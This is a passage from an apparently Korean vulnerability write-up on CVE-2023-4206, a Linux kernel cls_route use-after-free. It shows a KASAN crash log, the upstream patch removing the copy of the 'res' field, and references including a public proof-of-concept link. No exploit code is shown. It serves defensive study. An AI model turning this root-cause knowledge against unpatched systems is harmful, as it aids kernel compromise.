70[ 143.397306] 1024-byte region [ffff8880befd8000, ffff8880befd8400)
71[ 143.400925]
72[ 143.402457] The buggy address belongs to the physical page:
73[ 143.404317]
74[ 143.405770] Memory state around the buggy address:
75[ 143.407522] ffff8880befd7f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc c
76[ 143.409538] ffff8880befd7f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc c
77[ 143.411521] >ffff8880befd8000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb b
78[ 143.413495] ^
79[ 143.415488] ffff8880befd8080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb b
80[ 143.417504] ffff8880befd8100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb b
81[ 143.419484] =================================================================
82[ 3117.724698] I/O error, dev fd0, sector 0 op 0x0:(READ) flags 0x0 phys_seg 1 0
83[ 3278.385810] I/O error, dev fd0, sector 0 op 0x0:(READ) flags 0x0 phys_seg 1 0
Patch #
이 취약점은 필터를 교체할 때 상기에 설명한 res 멤버 변수를 복사한 것으로 인해 발생하였다. 이에 패치는 이 코드를 삭제하는 방식으로 진행되었다[4].
1diff --git a/net/sched/cls_route.c b/net/sched/cls_route.c
2index d0c53724d3e86..1e20bbd687f1d 100644
3--- a/net/sched/cls_route.c
4+++ b/net/sched/cls_route.c
5@@ -513,7 +513,6 @@ static int route4_change(struct net *net, struct sk_buff *in_skb,
6 if (fold) {
7 f->id = fold->id;
8 f->iif = fold->iif;
9- f->res = fold->res;
10 f->handle = fold->handle;
11
12 f->tp = fold->tp;
References #
- "CVE-2023-4206 Detail." nvd.nist.gov, Accessed: Aug. 30, 2026. [Online]. Available: https://nvd.nist.gov/vuln/detail/cve-2023-4206
- Linus Torvalds et al., "Linux kernel", (Version 5.18) [Source Code]. https://github.com/torvalds/linux
- st424204, Bing-Jhong, and Bily Jheng, "CVE-2023-4206_ltscos." github.com, Accessed: Aug. 30, 2026. [Online]. Available: https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4206_lts_cos
- valis, "net/sched: cls_route: No longer copy tcf_result on update to avoid use-after-free." git.kernel.org, Accessed: Aug. 30, 2026. [Online]. Available: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b80b829e9e2c1b3f7aae34855e04d8f6ecaf13c8